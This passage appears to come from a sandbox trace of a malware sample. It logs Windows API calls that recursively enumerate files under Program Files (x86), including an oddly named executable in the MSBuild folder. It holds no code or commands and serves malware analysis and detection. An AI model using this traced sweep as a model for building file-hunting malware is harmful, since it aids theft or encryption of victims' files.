ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x886e43c6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89202410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0153.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0153.663] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.663] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0153.663] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0153.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0153.663] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0153.663] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0153.665] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.665] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6f591, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d6f591, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5525a7, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0153.665] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0153.667] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.667] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0153.667] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0153.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0153.668] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c9a97c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0x22c9a97c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0x22c9a97c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0153.668] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0153.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0153.668] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0153.669] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0153.673] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.673] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0153.673] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0153.673] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.673] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a39353, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8eb2501, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a39353, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll.mui", cAlternateFileName="")) returned 1 [0153.674] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0153.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0153.674] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7e30c4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad7e30c4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb42720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0153.675] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0153.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0153.675] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2406d7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2406d7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0153.676] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0153.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0153.676] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0153.676] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0153.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0153.676] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0153.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0153.676] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.676] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0153.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0153.677] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.677] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0153.677] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0153.677] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.677] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="580302~1.110")) returned 1 [0153.677] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0153.677] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.678] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="580302~1.MAN")) returned 1 [0157.238] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0157.238] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.495] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.495] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9b3a00, ftCreationTime.dwHighDateTime=0x1d54db1, ftLastAccessTime.dwLowDateTime=0x95c2fe10, ftLastAccessTime.dwHighDateTime=0x1d50f67, ftLastWriteTime.dwLowDateTime=0x95c2fe10, ftLastWriteTime.dwHighDateTime=0x1d50f67, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="continues_does_laos.exe", cAlternateFileName="CONTIN~1.EXE")) returned 1 [0157.496] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.496] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0157.496] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0157.496] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, 